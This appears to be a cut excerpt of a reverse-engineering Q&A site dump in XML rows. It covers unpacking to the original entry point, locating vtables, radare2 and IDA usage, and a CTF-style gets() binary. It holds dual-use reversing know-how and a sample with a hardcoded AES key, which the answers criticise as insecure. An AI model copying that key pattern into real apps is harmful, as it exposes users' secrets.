  <row Id="19824" PostTypeId="2" ParentId="19816" CreationDate="2018-11-05T14:39:29.767" Score="3" Body="&lt;p&gt;Just set a breakpoint in 0x00ef674c.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wSZ8C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wSZ8C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press F9. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it hit the breakpoint, press F7 to go the original Entrypoint of the unpacked file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just make sure that the EIP is the OEP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/56st9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/56st9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23113" LastActivityDate="2018-11-05T14:39:29.767" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19825" PostTypeId="1" CreationDate="2018-11-05T14:51:10.563" Score="3" ViewCount="562" Body="&lt;p&gt;I am learning to reverse Visual C++ objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually find the vtable (or VMT of VFT, however you call it) of the object using a cross reference to its &lt;code&gt;CompleteObjectLocator&lt;/code&gt; that I found in the disassembled binary before (using a cross reference to the object's &lt;code&gt;TypeDescriptor&lt;/code&gt; or &lt;code&gt;ClassHierarchyDescriptor&lt;/code&gt;). The pointer to &lt;code&gt;CompleteObjectLocator&lt;/code&gt; is the -1st field of the vtable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as some classes are probably abstract in my program, they do not have &lt;code&gt;CompleteObjectLocator&lt;/code&gt;s. &lt;strong&gt;How do I find their vtables?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the program writes the pointer to the vtable down to &lt;code&gt;this&lt;/code&gt; in the object's constructor, however in my program the constructors are inlined in the child class constructors and there I do not see work with memory that could be the vtable of the parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ClassA&lt;/code&gt; inherits from &lt;code&gt;ClassB&lt;/code&gt; (probably abstract) that inherits from &lt;code&gt;ClassC&lt;/code&gt; that inherits from &lt;code&gt;ClassD&lt;/code&gt; (probably abstract). I found this information in the &lt;code&gt;BaseClassArray&lt;/code&gt; of each of the classes.&lt;/li&gt;&#xA;&lt;li&gt;I am able to find vtable of &lt;code&gt;ClassA&lt;/code&gt; and using a cross reference on it, I find its constructor&lt;/li&gt;&#xA;&lt;li&gt;In the constructor of &lt;code&gt;ClassA&lt;/code&gt; I see the program work with vtable of &lt;code&gt;ClassC&lt;/code&gt; and vtable of &lt;code&gt;ClassA&lt;/code&gt; (constructors are inlined, pointer to vtable of &lt;code&gt;ClassC&lt;/code&gt; is written to a location and three instructions later it is rewritten by the pointer to vtable of &lt;code&gt;ClassA&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;I would expect to see some work with vtables of &lt;code&gt;ClassB&lt;/code&gt; and &lt;code&gt;ClassD&lt;/code&gt; in the constructor of &lt;code&gt;ClassA&lt;/code&gt; as well. I would expect the pointer to vtable of &lt;code&gt;ClassB&lt;/code&gt; to be written do the memory somewhere between the work with vtables of &lt;code&gt;ClassA&lt;/code&gt; and &lt;code&gt;ClassC&lt;/code&gt;, but there are only instructions that basically do nothing, only move some content from register to register.&lt;/li&gt;&#xA;&lt;li&gt;Or, if the constructor of &lt;code&gt;ClassA&lt;/code&gt; wouldn't work with vtables of &lt;code&gt;ClassB&lt;/code&gt; and &lt;code&gt;ClassD&lt;/code&gt;, I would expect at least calling their constructors from there, which does not happen as well.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I know I could find a vtable dynamically, because it would be the first element of &lt;code&gt;this&lt;/code&gt;, but I do not know where (if anywhere) &lt;code&gt;this&lt;/code&gt; of &lt;code&gt;ClassB&lt;/code&gt; and &lt;code&gt;ClassD&lt;/code&gt; is used. Can I find their vtables and constructors statically?&lt;/p&gt;&#xA;" OwnerUserId="26153" LastActivityDate="2018-11-05T14:51:10.563" Title="Find vtable without complete object locator" Tags="|c++|vtables|virtual-functions|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19827" PostTypeId="1" CreationDate="2018-11-05T18:24:59.767" Score="4" ViewCount="899" Body="&lt;p&gt;Is there anyway to debug a process running on a Virtual Machine (guest) with Radare2 from the host? I'm currently using VirtualBox. It provides a &lt;a href=&quot;https://www.virtualbox.org/manual/ch12.html#ts_debugger&quot; rel=&quot;nofollow noreferrer&quot;&gt;built in debugger&lt;/a&gt;. I'm not sure if it's possible for radare2 to integrate with it.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-11-05T19:38:18.483" LastActivityDate="2019-03-28T20:02:14.300" Title="Debugging a process running in a Virtual Machine with Radare2?" Tags="|radare2|virtual-machines|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19828" PostTypeId="1" AcceptedAnswerId="19917" CreationDate="2018-11-06T05:23:24.637" Score="0" ViewCount="314" Body="&lt;p&gt;This question might sound very naive, however, I got stuck when one of my friends asked me where can I find the address of an initialized register in the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For e.g., &lt;code&gt;info registers&lt;/code&gt; in gdb gives us a list of registers and their corresponding values which are basically stored into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any command or way in which I could find the addresses where the registers are actually located? If yes could someone please direct me towards it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am glad my friend asked me this question since it was something which I didn't notice earlier because there had not been a time where there was any need of the address where the registers are located.&lt;/p&gt;&#xA;" OwnerUserId="25681" LastEditorUserId="25681" LastEditDate="2018-11-06T09:05:25.200" LastActivityDate="2018-11-18T19:26:43.687" Title="Where to find address of registers populated in a binary" Tags="|debugging|x86|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19829" PostTypeId="2" ParentId="19827" CreationDate="2018-11-06T06:27:37.423" Score="1" Body="&lt;p&gt;Radare is able to connect to gdb remote sessions. So if you use something like qemu for your virtualization you would be able to connect to this. The problem will be to find the desired process inside the whole memory. At first you need to understand how your guest operating system handles processes inside it's kernel and then you need to find the kernel inside this memory region.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two interesting projects about this topic: zdbg and r2vmi&lt;/p&gt;&#xA;" OwnerUserId="2772" LastActivityDate="2018-11-06T06:27:37.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19830" PostTypeId="1" CreationDate="2018-11-06T14:41:50.990" Score="1" ViewCount="63" Body="&lt;p&gt;I have two pieces of code, one of which is compiled by me the other of which is supplied in binary-only. The code I am compiling has added instructions pertaining to &lt;code&gt;ecx&lt;/code&gt;. What does this code do? The below is an excerpt from the &lt;code&gt;main&lt;/code&gt; compiled by me,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08049060]&amp;gt; pdf @ sym.main~ecx&#xA;│           0x08049172      8d4c2404       lea ecx, [arg_4h]           ; 4&#xA;│           0x08049179      ff71fc         push dword [ecx - 4]&#xA;│           0x0804917f      51             push ecx&#xA;│           0x080491c3      8b4dfc         mov ecx, dword [local_4h]&#xA;│           0x080491c7      8d61fc         lea esp, [ecx - 4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the point of this code? What are we doing with &lt;code&gt;ecx&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code is compiled with &lt;code&gt;-m32 -fno-stack-protector -std=c89 -fno-PIE -no-pie -O0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Complete code here,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;-- eip:&#xA;(fcn) main 89&#xA;  main (int argc, char **argv, char **envp);&#xA;; var int local_4ch @ ebp-0x4c&#xA;; var int local_ch @ ebp-0xc&#xA;; var int local_4h @ ebp-0x4&#xA;; arg int arg_4h @ esp+0x4&#xA;; DATA XREF from entry0 (0x8049086)&#xA;0x08049172      8d4c2404       lea ecx, [arg_4h]                       ; 4&#xA;0x08049176      83e4f0         and esp, 0xfffffff0&#xA;0x08049179      ff71fc         push dword [ecx - 4]&#xA;0x0804917c      55             push ebp&#xA;0x0804917d      89e5           mov ebp, esp&#xA;0x0804917f      51             push ecx&#xA;0x08049180      83ec54         sub esp, 0x54                           ; 'T'&#xA;0x08049183      c745f4000000.  mov dword [local_ch], 0&#xA;0x0804918a      83ec0c         sub esp, 0xc&#xA;0x0804918d      8d45b4         lea eax, [local_4ch]&#xA;0x08049190      50             push eax&#xA;0x08049191      e89afeffff     call sym.imp.gets                       ; char *gets(char *s)&#xA;0x08049196      83c410         add esp, 0x10&#xA;0x08049199      8b45f4         mov eax, dword [local_ch]&#xA;0x0804919c      85c0           test eax, eax&#xA;0x0804919e      7412           je 0x80491b2&#xA;0x080491a0      83ec0c         sub esp, 0xc&#xA;0x080491a3      6808a00408     push str.you_have_changed_the__modified__variable ; 0x804a008 ; &quot;you have changed the 'modified' variable&quot;&#xA;0x080491a8      e893feffff     call sym.imp.puts                       ; int puts(const char *s)&#xA;0x080491ad      83c410         add esp, 0x10&#xA;0x080491b0      eb10           jmp 0x80491c2&#xA;0x080491b2      83ec0c         sub esp, 0xc&#xA;0x080491b5      6831a00408     push str.Try_again                      ; 0x804a031 ; &quot;Try again?&quot;&#xA;0x080491ba      e881feffff     call sym.imp.puts                       ; int puts(const char *s)&#xA;0x080491bf      83c410         add esp, 0x10&#xA;; CODE XREF from main (0x80491b0)&#xA;0x080491c2      90             nop&#xA;0x080491c3      8b4dfc         mov ecx, dword [local_4h]&#xA;0x080491c6      c9             leave&#xA;0x080491c7      8d61fc         lea esp, [ecx - 4]&#xA;0x080491ca      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-11-06T15:25:18.920" LastActivityDate="2018-11-06T15:25:18.920" Title="GCC adds code involving `ecx` in main?" Tags="|gcc|" AnswerCount="0" CommentCount="2" ClosedDate="2018-11-06T22:05:01.797" ContentLicense="CC BY-SA 4.0" />
  <row Id="19831" PostTypeId="1" CreationDate="2018-11-06T18:28:05.297" Score="3" ViewCount="740" Body="&lt;p&gt;I'm solving this CTF with IDA Pro 7.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some point there is an offset calculation by index, it simply multiply an index by 48 and write/read some data to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problems are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the calculation is done using 8 assembly instructions, and it happens quite often, so it spams my screen.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;it might not be calculated &lt;strong&gt;exactly&lt;/strong&gt; the same every time, and I might miss it when auditing for bugs, but if the macro will only take place for specific instructions, I won't miss it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So my question is: is there a way in IDA to combine these sequence of instructions to a single macro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/26Oov.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/26Oov.png&quot; alt=&quot;repeated code in red&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="26286" LastEditorUserId="26286" LastEditDate="2018-11-07T20:58:23.707" LastActivityDate="2018-11-07T21:16:59.053" Title="IDA 7.0 - combine sequence of assembly instructions to a macro" Tags="|ida|idapython|x86-64|ida-plugin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19832" PostTypeId="2" ParentId="19816" CreationDate="2018-11-06T20:07:53.083" Score="8" Body="&lt;p&gt;You said that the base address changes so I assume your system and target executable have ASLR enabled. This sometimes causes problems when unpacking due to relocations not being fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Easiest solution is to disable ASLR and then unpack. If you want to disable ASLR on the packed executable, edit the &lt;code&gt;IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE&lt;/code&gt; flag of the DLL Characteristics field using a PE editor of your choice. Another option is to disable ASLR on the system which is not recommended.&lt;/p&gt;&#xA;" OwnerUserId="26287" LastEditorUserId="245" LastEditDate="2018-11-06T22:37:36.303" LastActivityDate="2018-11-06T22:37:36.303" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19833" PostTypeId="2" ParentId="19819" CreationDate="2018-11-06T20:32:15.270" Score="3" Body="&lt;p&gt;You can disable ASLR on the executable using a PE editor and disabling IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE in the Dll Characteristics field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the value is contained within the executable image, you can calculate its relative address and add it to the executable's base address, assuming this relative address is the same every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's outside the executable, then it's in a memory page allocated with VirtualAlloc. I don't think page allocations are related to ASLR so disabling it won't help the random address. Maybe you can log calls to VirtualAlloc and find the one that allocates the page you're interested in. Then you can put a breakpoint inside the page at the relative address your value is going to be at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach - find values you know are written in the same page before your value is written and calculate the target address based on them.&lt;/p&gt;&#xA;" OwnerUserId="26287" LastActivityDate="2018-11-06T20:32:15.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19835" PostTypeId="2" ParentId="19827" CreationDate="2018-11-07T00:35:44.213" Score="0" Body="&lt;p&gt;Also make sure that to accurately reverse any sort of WindowsVM you make sure you point &lt;code&gt;gdb&lt;/code&gt; to the proper &lt;code&gt;.pdb&lt;/code&gt; so it can read the symbols for better debugging. &lt;/p&gt;&#xA;" OwnerUserId="26289" LastActivityDate="2018-11-07T00:35:44.213" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19836" PostTypeId="1" AcceptedAnswerId="19837" CreationDate="2018-11-07T08:02:58.193" Score="0" ViewCount="850" Body="&lt;p&gt;Let's say I want to find out how many instructions an arbitrary function &lt;code&gt;foo&lt;/code&gt; decodes to, is there an easy way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to check against a version I am compiling with a stored binary on the system. It takes more work than I'd like to spend to test to see if the binary has changed as I muck with the compile options. I'm trying to optimize for fewer instructions.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2022-07-25T07:59:45.183" Title="Is there a way to get an instruction count with Radare2?" Tags="|radare2|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19837" PostTypeId="2" ParentId="19836" CreationDate="2018-11-07T08:13:42.050" Score="2" Body="&lt;p&gt;You can always add &lt;code&gt;~?&lt;/code&gt; to any radare command to count lines of the resulting output. But, like in Bash the pipe to &lt;code&gt;wc -l&lt;/code&gt; also works, &lt;code&gt;|wc -l&lt;/code&gt;. So in your case&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08049060]&amp;gt; pif~?&#xA;18&#xA;[0x08049060]&amp;gt; pif|wc -l&#xA;18&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2772" LastEditorUserId="22669" LastEditDate="2018-11-09T20:52:40.677" LastActivityDate="2018-11-09T20:52:40.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19839" PostTypeId="1" CreationDate="2018-11-07T12:46:20.043" Score="2" ViewCount="430" Body="&lt;p&gt;I'm using IDA Pro for ARM native debugging (with androidserver). I'd like to check when a memory address is read by code (what instruction and where). Hardware breakpoint is not possible. How can I do it? How to use watch option? With &lt;code&gt;gdb&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="26292" LastEditorUserId="14622" LastEditDate="2022-05-23T05:16:13.027" LastActivityDate="2023-02-17T07:00:30.070" Title="Breakpoint on memory access in ARM debugging" Tags="|ida|arm|hardware|breakpoint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19840" PostTypeId="1" CreationDate="2018-11-07T12:59:43.677" Score="9" ViewCount="7335" Body="&lt;p&gt;I am writing an Android app with AES encryption and I am going to save AES key as a string to a C++ file with extension &lt;code&gt;.cpp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also going to create an iOS app which will use the same AES key. Is it possible to save the key in C++ file in iOS? &#xA;How difficult would it be to decompile the C++ file and read the key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the C++ file from Android:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;jni.h&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;&#xA;extern &quot;C&quot;&#xA;JNIEXPORT jstring JNICALL&#xA;Java_com_android_app_aesKeyFromJNI(JNIEnv *env, jobject /* this */) {&#xA;    std::string secret = &quot;somesecretkey&quot;;&#xA;    return env-&amp;gt;NewStringUTF(secret.c_str());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26293" LastEditorUserId="245" LastEditDate="2018-11-07T15:59:47.297" LastActivityDate="2018-11-07T21:02:48.047" Title="How difficult is to decompile C++ file?" Tags="|c++|android|ios|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="19841" PostTypeId="2" ParentId="19840" CreationDate="2018-11-07T13:38:50.750" Score="20" Body="&lt;p&gt;&lt;strong&gt;Not hard enough!&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, if you save the key as a non-encrypted string, a simple &lt;code&gt;strings&lt;/code&gt; command will find it and IDA x-ref will even show the reverser where it's used.&lt;br&gt;&#xA;If you save the key encrypted, a simple breakpoint will let them see the decrypted password. (or understanding the decryption algorithm).&lt;/p&gt;&#xA;" OwnerDisplayName="user22970" LastEditorUserId="245" LastEditDate="2018-11-07T15:58:07.077" LastActivityDate="2018-11-07T15:58:07.077" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19842" PostTypeId="2" ParentId="19840" CreationDate="2018-11-07T15:57:06.970" Score="12" Body="&lt;p&gt;A plain text string like this will be visible by looking at the file in a hex editor (like &lt;code&gt;hte&lt;/code&gt; or a viewer like &lt;code&gt;xxd&lt;/code&gt; or &lt;code&gt;od&lt;/code&gt;) or with the &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/strings&quot; rel=&quot;noreferrer&quot;&gt;Sysinternals &lt;code&gt;strings&lt;/code&gt;&lt;/a&gt; command or with &lt;a href=&quot;http://man7.org/linux/man-pages/man1/strings.1.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;strings(1)&lt;/code&gt;&lt;/a&gt; on a Linux/FreeBSD etc, for example. Most reverse engineering tools have a separate view for strings, because those are usually exceptionally useful to reverse engineers. Amirag already pointed that out for IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of Android that C++ file is likely going to end up as a shared object in ELF file format. These are binary files with a known structure. Simply by looking at the exported functions/symbols, it will be trivial to find the &quot;secret&quot;. Even if you were to obfuscate this further, it would still not help. Obfuscation is &lt;a href=&quot;https://en.wikipedia.org/wiki/Security_through_obscurity&quot; rel=&quot;noreferrer&quot;&gt;security through obscurity&lt;/a&gt;. It's not &lt;em&gt;actual security&lt;/em&gt;. So even writing that string as some xor-ed array of bytes or using the &lt;a href=&quot;https://en.wikipedia.org/wiki/Caesar_cipher&quot; rel=&quot;noreferrer&quot;&gt;Caesar cipher&lt;/a&gt; will add no tangible protection if that's the goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore you should &lt;strong&gt;never ever&lt;/strong&gt; include the private key in code that ends up with the user. The reason why it's called a secret is because it should be &lt;em&gt;kept secret&lt;/em&gt;. Just &quot;mangling&quot; the representation of this secret with a compiler isn't going to help at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's a secret the user shouldn't see, this belongs on the server-side or into a HSM (hardware security module), but &lt;em&gt;not&lt;/em&gt; on the user's machine in &lt;em&gt;any&lt;/em&gt; form. There is no other way to reconcile &lt;em&gt;mistrusting&lt;/em&gt; the user and at the same time placing &quot;secrets&quot; into the user's hands. It's the fundamental conundrum of software protection mechanisms also.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2018-11-07T21:02:48.047" LastActivityDate="2018-11-07T21:02:48.047" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19843" PostTypeId="1" AcceptedAnswerId="30526" CreationDate="2018-11-07T17:10:41.577" Score="4" ViewCount="2114" Body="&lt;p&gt;I am trying to get the byte size of all operands in a given instruction from IDA Pro. At first I tried using &lt;code&gt;GetOperandValue(ea,n)&lt;/code&gt; to see how large the value was and calculate how many bytes were necessary to store that value, but it doesn't return leading zeros, which means that it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am trying to use &lt;code&gt;OpHex(ea,n)&lt;/code&gt; to get the answer,  but it's just returning &lt;code&gt;True&lt;/code&gt; (as do &lt;code&gt;OpDecimal&lt;/code&gt;, &lt;code&gt;OpBinary&lt;/code&gt;, and &lt;code&gt;OpOctal&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find the number of bytes used for operands of a particular instruction and why is &lt;code&gt;OpHex&lt;/code&gt; returning true?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; My current solution works, but I would still like one that is more technically correct and bulletproof. Right now I am just using &lt;code&gt;GetOperandValue(ea, op)&lt;/code&gt; to get both operands for all instructions (even if they have neither or only one) and then checking to make sure the operand value is greater than &lt;code&gt;FF&lt;/code&gt;. If It's greater than &lt;code&gt;FF&lt;/code&gt; I just assume it is an address, which in this case is four bytes. If both operands meet this condition, I assign the size to be eight bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works for the moment, but will encounter difficulties in eventual moves to other architectures (right now I'm just working with x86-64).&lt;/p&gt;&#xA;" OwnerUserId="24714" LastEditorUserId="24714" LastEditDate="2018-11-16T18:49:29.203" LastActivityDate="2023-07-14T23:13:45.187" Title="How can I get the byte size of an operand in IDA Pro?" Tags="|ida|idapython|elf|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19846" PostTypeId="2" ParentId="19831" CreationDate="2018-11-07T21:16:59.053" Score="1" Body="&lt;p&gt;Okay, to formalize this (and since I have some time now to type up an actual answer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/654.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;add_hidden_range()&lt;/code&gt;&lt;/a&gt; IDC function and the SDK function of the same name (&lt;code&gt;bytes.hpp&lt;/code&gt;) can be used for the purpose. (However, I am almost sure there was another function I used at the time.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;update_hidden_range()&lt;/code&gt; may also be of interest (see link above).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I used this some years ago to write an IDC script (IDAPython didn't ship with IDA at the time), I used this to hide the code for some repetitive debug print and assertion functionality in some (checked) Windows binaries I was looking at. For this I used gray color and replaced the whole hidden range with an assembly-style comment (&lt;code&gt;;&lt;/code&gt; prefix). The comment would then contain pseudocode of the debug print or assertion it was hiding. This helped a lot in making the disassembly a lot cleaner for reading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest challenge other than finding the functionality and the IDC function exposing it initially, was to look for the opcodes surrounding the xref locations of the &lt;em&gt;known&lt;/em&gt; functions calls and make sure I wasn't hiding some interspersed opcodes. So essentially I made sure that the script would verbosely output whenever it hit an instance where unexpected opcodes where interspersed with the expected opcodes, showing the EA, and could then double click on that in the log pane to review those (in my case rare) instances manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other instances where this technique proved useful were well-known inlined functions (think &lt;code&gt;memmove&lt;/code&gt;, &lt;code&gt;memcpy&lt;/code&gt; and friends). The patterns repeat and by hiding the opcodes and replacing them with meaningful pseudocode you can speed up reading your disassembly considerably (even without a decompiler plugin).&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2018-11-07T21:16:59.053" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19847" PostTypeId="1" AcceptedAnswerId="19935" CreationDate="2018-11-08T01:50:18.040" Score="1" ViewCount="4641" Body="&lt;p&gt;We know that x64dbg will mark the changes as red color after we step an assembly instruction, so how can I get all changes without scroll monitor windows?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;x64dbg 32bit version trace:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/H3Qd1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H3Qd1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NEW UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;x32dbg only display one change for memory when calls a function which modify at least 16 bytes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cyTFI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cyTFI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;x32dbg CPU monitor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TDDKJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TDDKJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;x32dbg Trace monitor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tuaus.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tuaus.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function &lt;em&gt;testmem.test&lt;/em&gt; should have 4 bytes changes, how to get those changes?&lt;/p&gt;&#xA;" OwnerUserId="25935" LastEditorUserId="25935" LastEditDate="2018-11-19T01:36:19.720" LastActivityDate="2019-01-19T19:44:41.950" Title="x64dbg how to watch all changes after one step" Tags="|debuggers|x64dbg|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19848" PostTypeId="1" AcceptedAnswerId="19850" CreationDate="2018-11-08T06:21:40.887" Score="12" ViewCount="3118" Body="&lt;pre&gt;&lt;code&gt;00EE16CC   . E9 DFBB0000    JMP BinFile.00EED2B0&#xA;00EE16D1   . E9 64AF0000    JMP &amp;lt;JMP.&amp;amp;MSVCP140D.?pptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@&amp;gt;&#xA;00EE16D6   . E9 15DB0000    JMP BinFile.00EEF1F0&#xA;00EE16DB   . E9 D0D40000    JMP BinFile.00EEEBB0&#xA;00EE16E0   . E9 C9E60000    JMP &amp;lt;JMP.&amp;amp;KERNEL32.IsDebuggerPresent&amp;gt;&#xA;00EE16E5   . E9 D6AD0000    JMP BinFile.00EEC4C0&#xA;00EE16EA   . E9 C1510000    JMP BinFile.00EE68B0&#xA;00EE16EF   . E9 5CE70000    JMP BinFile.00EEFE50&#xA;00EE16F4   . E9 C7A50000    JMP BinFile.00EEBCC0&#xA;00EE16F9   . E9 A4E60000    JMP &amp;lt;JMP.&amp;amp;ucrtbased._wsplitpath_s&amp;gt;&#xA;00EE16FE   . E9 AD950000    JMP BinFile.00EEACB0&#xA;00EE1703   . E9 083B0000    JMP BinFile.00EE5210&#xA;00EE1708   . E9 BBAE0000    JMP &amp;lt;JMP.&amp;amp;MSVCP140D.?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ&amp;gt;&#xA;00EE170D   . E9 7EBA0000    JMP BinFile.00EED190&#xA;00EE1712   . E9 B9BA0000    JMP BinFile.00EED1D0&#xA;00EE1717   . E9 44870000    JMP BinFile.00EE9E60&#xA;00EE171C   . E9 AF5C0000    JMP BinFile.00EE73D0&#xA;00EE1721   $ E9 7A430000    JMP BinFile.00EE5AA0&#xA;00EE1726   . E9 07E70000    JMP &amp;lt;JMP.&amp;amp;KERNEL32.GetProcAddress&amp;gt;&#xA;00EE172B   . E9 E07C0000    JMP BinFile.00EE9410&#xA;00EE1730   . E9 6B520000    JMP BinFile.00EE69A0&#xA;00EE1735   . E9 EEAE0000    JMP 